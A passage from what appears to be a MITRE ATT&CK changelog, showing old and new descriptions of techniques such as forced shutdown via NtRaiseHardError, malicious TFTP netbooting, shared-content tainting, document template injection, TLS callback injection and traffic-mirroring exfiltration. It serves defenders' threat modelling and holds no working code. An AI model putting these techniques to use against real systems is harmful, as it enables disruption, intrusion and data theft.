| > | Privilege` (e.g., via [Access Token Manipulation](https://at | > | nPrivilege` (e.g., via [Access Token Manipulation](https://a | ||
| > | tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2 | > | ttack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius | ||
| > | 023) In some cases, the system may not be able to boot agai | > | 2023) In some cases, the system may not be able to boot aga | ||
| > | n. Adversaries may attempt to shutdown/reboot a system aft | > | in. Adversaries may attempt to shut down/reboot a system a | ||
| > | er impacting it in other ways, such as [Disk Structure Wipe] | > | fter impacting it in other ways, such as [Disk Structure Wip | ||
| > | (https://attack.mitre.org/techniques/T1561/002) or [Inhibit | > | e](https://attack.mitre.org/techniques/T1561/002) or [Inhibi | ||
| > | System Recovery](https://attack.mitre.org/techniques/T1490), | > | t System Recovery](https://attack.mitre.org/techniques/T1490 | ||
| > | to hasten the intended effects on system availability.(Cita | > | ), to hasten the intended effects on system availability.(Ci | ||
| > | tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro | > | tation: Talos Nyetya June 2017)(Citation: Talos Olympic Dest | ||
| > | yer 2018) | > | royer 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.726000+00:00 | 2026-11-03 21:35:33.881000+00:00 |
| description | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.
Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.
Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)
In some cases, the system may not be able to boot again.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.
Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.
Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)
In some cases, the system may not be able to boot again.
Adversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse netbooting to load an unauthorized net | t | 1 | Adversaries may abuse netbooting to load an unauthorized net |
| > | work device operating system from a Trivial File Transfer Pr | > | work device operating system from a Trivial File Transfer Pr | ||
| > | otocol (TFTP) server. TFTP boot (netbooting) is commonly use | > | otocol (TFTP) server. TFTP boot (netbooting) is commonly use | ||
| > | d by network administrators to load configuration-controlled | > | d by network administrators to load configuration-controlled | ||
| > | network device images from a centralized management server. | > | network device images from a centralized management server. | ||
| > | Netbooting is one option in the boot sequence and can be us | > | Netbooting is one option in the boot sequence and can be us | ||
| > | ed to centralize, manage, and control device images. Advers | > | ed to centralize, manage, and control device images. Advers | ||
| > | aries may manipulate the configuration on the network device | > | aries may manipulate the configuration on the network device | ||
| > | specifying use of a malicious TFTP server, which may be use | > | specifying use of a malicious TFTP server, which may be use | ||
| > | d in conjunction with [Modify System Image](https://attack.m | > | d in conjunction with [Modify System Image](https://attack.m | ||
| > | itre.org/techniques/T1601) to load a modified image on devic | > | itre.org/techniques/T1601) to load a modified image on devic | ||
| > | e startup or reset. The unauthorized image allows adversarie | > | e startup or reset. The unauthorized image allows adversarie | ||
| > | s to modify device configuration, add malicious capabilities | > | s to modify device configuration, add malicious capabilities | ||
| > | to the device, and introduce backdoors to maintain control | > | to the device, and introduce backdoors to maintain control | ||
| > | of the network device while minimizing detection through use | > | of the network device while minimizing detection through use | ||
| > | of a standard functionality. This technique is similar to [ | > | of a standard functionality. This technique is similar to [ | ||
| > | ROMMONkit](https://attack.mitre.org/techniques/T1542/004) an | > | ROMMONkit](https://attack.mitre.org/techniques/T1542/004) an | ||
| > | d may result in the network device running a modified image. | > | d may result in the network device running a modified image. | ||
| > | (Citation: Cisco Blog Legacy Device Attacks) | > | (Citation: Cisco Blog Legacy Device Attacks) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.623000+00:00 | 2026-11-04 00:49:34.998000+00:00 |
| description | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks) | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.(Citation: Cisco Blog Legacy Device Attacks) |
Current version: 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may deliver payloads to remote systems by addin | t | 1 | Adversaries may deliver payloads to remote systems by addin |
| > | g content to shared storage locations, such as network drive | > | g content to shared storage locations, such as network drive | ||
| > | s or internal code repositories. Content stored on network d | > | s or internal code repositories. Content stored on network d | ||
| > | rives or in other shared locations may be tainted by adding | > | rives or in other shared locations may be tainted by adding | ||
| > | malicious programs, scripts, or exploit code to otherwise va | > | malicious programs, scripts, or exploit code to otherwise va | ||
| > | lid files. Once a user opens the shared tainted content, the | > | lid files. Once a user opens the shared tainted content, the | ||
| > | malicious portion can be executed to run the adversary's co | > | malicious portion can be executed to run the adversary's co | ||
| > | de on a remote system. Adversaries may use tainted shared co | > | de on a remote system. Adversaries may use tainted shared co | ||
| > | ntent to move laterally. A directory share pivot is a varia | > | ntent to move laterally. A directory share pivot is a varia | ||
| > | tion on this technique that uses several other techniques to | > | tion on this technique that uses several other techniques to | ||
| > | propagate malware when users access a shared network direct | > | propagate malware when users access a shared network direct | ||
| > | ory. It uses [Shortcut Modification](https://attack.mitre.or | > | ory. It uses [Shortcut Modification](https://attack.mitre.or | ||
| > | g/techniques/T1547/009) of directory .LNK files that use [Ma | > | g/techniques/T1547/009) of directory .LNK files that use [Ma | ||
| > | squerading](https://attack.mitre.org/techniques/T1036) to lo | > | squerading](https://attack.mitre.org/techniques/T1036) to lo | ||
| > | ok like the real directories, which are hidden through [Hidd | > | ok like the real directories, which are hidden through [Hidd | ||
| > | en Files and Directories](https://attack.mitre.org/technique | > | en Files and Directories](https://attack.mitre.org/technique | ||
| > | s/T1564/001). The malicious .LNK-based directories have an e | > | s/T1564/001). The malicious .LNK-based directories have an e | ||
| > | mbedded command that executes the hidden malware file in the | > | mbedded command that executes the hidden malware file in the | ||
| > | directory and then opens the real intended directory so tha | > | directory and then opens the real intended directory so tha | ||
| > | t the user's expected action still occurs. When used with fr | > | t the user's expected action still occurs. When used with fr | ||
| > | equently used network directories, the technique may result | > | equently used network directories, the technique may result | ||
| > | in frequent reinfections and broad access to systems and pot | > | in frequent reinfections and broad access to systems and pot | ||
| > | entially to new and higher privileged accounts. (Citation: R | > | entially to new and higher privileged accounts.(Citation: Re | ||
| > | etwin Directory Share Pivot) Adversaries may also compromis | > | twin Directory Share Pivot) Adversaries may also compromise | ||
| > | e shared network directories through binary infections by ap | > | shared network directories through binary infections by app | ||
| > | pending or prepending its code to the healthy binary on the | > | ending or prepending its code to the healthy binary on the s | ||
| > | shared network directory. The malware may modify the origina | > | hared network directory. The malware may modify the original | ||
| > | l entry point (OEP) of the healthy binary to ensure that it | > | entry point (OEP) of the healthy binary to ensure that it i | ||
| > | is executed before the legitimate code. The infection could | > | s executed before the legitimate code. The infection could c | ||
| > | continue to spread via the newly infected file when it is ex | > | ontinue to spread via the newly infected file when it is exe | ||
| > | ecuted by a remote system. These infections may target both | > | cuted by a remote system. These infections may target both b | ||
| > | binary and non-binary formats that end with extensions inclu | > | inary and non-binary formats that end with extensions includ | ||
| > | ding, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VB | > | ing, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS | ||
| > | S. | > | . | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:32.156000+00:00 | 2026-11-04 00:25:33.826000+00:00 |
| description | Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot) Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS. | Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.(Citation: Retwin Directory Share Pivot) Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify references in user document | t | 1 | Adversaries may create or modify references in user document |
| > | templates to conceal malicious code or force authentication | > | templates to conceal malicious code or force authentication | ||
| > | attempts. For example, Microsoft’s Office Open XML (OOXML) | > | attempts. For example, Microsoft’s Office Open XML (OOXML) | ||
| > | specification defines an XML-based format for Office documen | > | specification defines an XML-based format for Office documen | ||
| > | ts (.docx, xlsx, .pptx) to replace older binary formats (.do | > | ts (.docx, xlsx, .pptx) to replace older binary formats (.do | ||
| > | c, .xls, .ppt). OOXML files are packed together ZIP archives | > | c, .xls, .ppt). OOXML files are packed together ZIP archives | ||
| > | compromised of various XML files, referred to as parts, con | > | compromised of various XML files, referred to as parts, con | ||
| > | taining properties that collectively define how a document i | > | taining properties that collectively define how a document i | ||
| > | s rendered.(Citation: Microsoft Open XML July 2017) Propert | > | s rendered.(Citation: Microsoft Open XML July 2017) Propert | ||
| > | ies within parts may reference shared public resources acces | > | ies within parts may reference shared public resources acces | ||
| > | sed via online URLs. For example, template properties may re | > | sed via online URLs. For example, template properties may re | ||
| > | ference a file, serving as a pre-formatted document blueprin | > | ference a file, serving as a pre-formatted document blueprin | ||
| > | t, that is fetched when the document is loaded. Adversaries | > | t, that is fetched when the document is loaded. Adversaries | ||
| > | may abuse these templates to initially conceal malicious co | > | may abuse these templates to initially conceal malicious co | ||
| > | de to be executed via user documents. Template references in | > | de to be executed via user documents. Template references in | ||
| > | jected into a document may enable malicious payloads to be f | > | jected into a document may enable malicious payloads to be f | ||
| > | etched and executed when the document is loaded.(Citation: S | > | etched and executed when the document is loaded.(Citation: S | ||
| > | ANS Brian Wiltse Template Injection) These documents can be | > | ANS Brian Wiltse Template Injection) These documents can be | ||
| > | delivered via other techniques such as [Phishing](https://at | > | delivered via other techniques such as [Phishing](https://at | ||
| > | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten | > | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten | ||
| > | t](https://attack.mitre.org/techniques/T1080) and may evade | > | t](https://attack.mitre.org/techniques/T1080) and may evade | ||
| > | static detections since no typical indicators (VBA macro, sc | > | static detections since no typical indicators (VBA macro, sc | ||
| > | ript, etc.) are present until after the malicious payload is | > | ript, etc.) are present until after the malicious payload is | ||
| > | fetched.(Citation: Redxorblue Remote Template Injection) Ex | > | fetched.(Citation: Redxorblue Remote Template Injection) Ex | ||
| > | amples have been seen in the wild where template injection w | > | amples have been seen in the wild where template injection w | ||
| > | as used to load malicious code containing an exploit.(Citati | > | as used to load malicious code containing an exploit.(Citati | ||
| > | on: MalwareBytes Template Injection OCT 2017) Adversaries m | > | on: MalwareBytes Template Injection OCT 2017) Adversaries m | ||
| > | ay also modify the <code>*\template</code> control word with | > | ay also modify the <code>*\template</code> control word with | ||
| > | in an .rtf file to similarly conceal then download malicious | > | in an .rtf file to similarly conceal then download malicious | ||
| > | code. This legitimate control word value is intended to be | > | code. This legitimate control word value is intended to be | ||
| > | a file destination of a template file resource that is retri | > | a file destination of a template file resource that is retri | ||
| > | eved and loaded when an .rtf file is opened. However, advers | > | eved and loaded when an .rtf file is opened. However, advers | ||
| > | aries may alter the bytes of an existing .rtf file to insert | > | aries may alter the bytes of an existing .rtf file to insert | ||
| > | a template control word field to include a URL resource of | > | a template control word field to include a URL resource of | ||
| > | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit | > | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit | ||
| > | ation: Ciberseguridad Decoding malicious RTF files) This te | > | ation: Ciberseguridad Decoding malicious RTF files) This te | ||
| > | chnique may also enable [Forced Authentication](https://atta | > | chnique may also enable [Forced Authentication](https://atta | ||
| > | ck.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or | > | ck.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or | ||
| > | other credential prompting) URL and triggering an authentica | > | other credential prompting) URL and triggering an authentic | ||
| > | tion attempt.(Citation: Anomali Template Injection MAR 2018) | > | ation attempt.(Citation: Anomali Template Injection MAR 2018 | ||
| > | (Citation: Talos Template Injection July 2017)(Citation: ryh | > | )(Citation: Talos Template Injection July 2017)(Citation: ry | ||
| > | anson phishery SEPT 2016) | > | hanson phishery SEPT 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.722000+00:00 | 2026-11-03 23:21:49.163000+00:00 |
| description | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via thr | t | 1 | Adversaries may inject malicious code into processes via thr |
| > | ead local storage (TLS) callbacks in order to evade process- | > | ead local storage (TLS) callbacks in order to evade process- | ||
| > | based defenses as well as possibly elevate privileges. TLS c | > | based defenses as well as possibly elevate privileges. TLS c | ||
| > | allback injection is a method of executing arbitrary code in | > | allback injection is a method of executing arbitrary code in | ||
| > | the address space of a separate live process. TLS callbac | > | the address space of a separate live process. TLS callbac | ||
| > | k injection involves manipulating pointers inside a portable | > | k injection involves manipulating pointers inside a portable | ||
| > | executable (PE) to redirect a process to malicious code bef | > | executable (PE) to redirect a process to malicious code bef | ||
| > | ore reaching the code's legitimate entry point. TLS callback | > | ore reaching the code's legitimate entry point. TLS callback | ||
| > | s are normally used by the OS to setup and/or cleanup data u | > | s are normally used by the OS to set up and/or clean up data | ||
| > | sed by threads. Manipulating TLS callbacks may be performed | > | used by threads. Manipulating TLS callbacks may be performe | ||
| > | by allocating and writing to specific offsets within a proce | > | d by allocating and writing to specific offsets within a pro | ||
| > | ss’ memory space using other [Process Injection](https://att | > | cess’ memory space using other [Process Injection](https://a | ||
| > | ack.mitre.org/techniques/T1055) techniques such as [Process | > | ttack.mitre.org/techniques/T1055) techniques such as [Proces | ||
| > | Hollowing](https://attack.mitre.org/techniques/T1055/012).(C | > | s Hollowing](https://attack.mitre.org/techniques/T1055/012). | ||
| > | itation: FireEye TLS Nov 2017) Running code in the context | > | (Citation: FireEye TLS Nov 2017) Running code in the contex | ||
| > | of another process may allow access to the process's memory, | > | t of another process may allow access to the process's memor | ||
| > | system/network resources, and possibly elevated privileges. | > | y, system/network resources, and possibly elevated privilege | ||
| > | Execution via TLS callback injection may also evade detecti | > | s. Execution via TLS callback injection may also evade detec | ||
| > | on from security products since the execution is masked unde | > | tion from security products since the execution is masked un | ||
| > | r a legitimate process. | > | der a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-03 21:28:37.525000+00:00 |
| description | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to set up and/or clean up data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage traffic mirroring in order to autom | t | 1 | Adversaries may leverage traffic mirroring in order to autom |
| > | ate data exfiltration over compromised infrastructure. Traff | > | ate data exfiltration over compromised infrastructure. Traff | ||
| > | ic mirroring is a native feature for some devices, often use | > | ic mirroring is a native feature for some devices, often use | ||
| > | d for network analysis. For example, devices may be configur | > | d for network analysis. For example, devices may be configur | ||
| > | ed to forward network traffic to one or more destinations fo | > | ed to forward network traffic to one or more destinations fo | ||
| > | r analysis by a network analyzer or other monitoring device. | > | r analysis by a network analyzer or other monitoring device. | ||
| > | (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traff | > | (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffi | ||
| > | ic Mirroring) Adversaries may abuse traffic mirroring to mi | > | c Mirroring) Adversaries may abuse traffic mirroring to mir | ||
| > | rror or redirect network traffic through other infrastructur | > | ror or redirect network traffic through other infrastructure | ||
| > | e they control. Malicious modifications to network devices t | > | they control. Malicious modifications to network devices to | ||
| > | o enable traffic redirection may be possible through [ROMMON | > | enable traffic redirection may be possible through [ROMMONk | ||
| > | kit](https://attack.mitre.org/techniques/T1542/004) or [Patc | > | it](https://attack.mitre.org/techniques/T1542/004) or [Patch | ||
| > | h System Image](https://attack.mitre.org/techniques/T1601/00 | > | System Image](https://attack.mitre.org/techniques/T1601/001 | ||
| > | 1).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy | > | ).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy | ||
| > | Device Attacks) Many cloud-based environments also support | > | Device Attacks) Many cloud-based environments also support | ||
| > | traffic mirroring. For example, AWS Traffic Mirroring, GCP | > | traffic mirroring. For example, AWS Traffic Mirroring, GCP P | ||
| > | Packet Mirroring, and Azure vTap allow users to define speci | > | acket Mirroring, and Azure vTap allow users to define specif | ||
| > | fied instances to collect traffic from and specified targets | > | ied instances to collect traffic from and specified targets | ||
| > | to send collected traffic to.(Citation: AWS Traffic Mirrori | > | to send collected traffic to.(Citation: AWS Traffic Mirrorin | ||
| > | ng)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual | > | g)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual N | ||
| > | Network TAP) Adversaries may use traffic duplication in con | > | etwork TAP) Adversaries may use traffic duplication in conj | ||
| > | junction with [Network Sniffing](https://attack.mitre.org/te | > | unction with [Network Sniffing](https://attack.mitre.org/tec | ||
| > | chniques/T1040), [Input Capture](https://attack.mitre.org/te | > | hniques/T1040), [Input Capture](https://attack.mitre.org/tec | ||
| > | chniques/T1056), or [Adversary-in-the-Middle](https://attack | > | hniques/T1056), or [Adversary-in-the-Middle](https://attack. | ||
| > | .mitre.org/techniques/T1557) depending on the goals and obje | > | mitre.org/techniques/T1557) depending on the goals and objec | ||
| > | ctives of the adversary. | > | tives of the adversary. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:00.388000+00:00 | 2026-11-04 00:14:43.341000+00:00 |
| description | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP 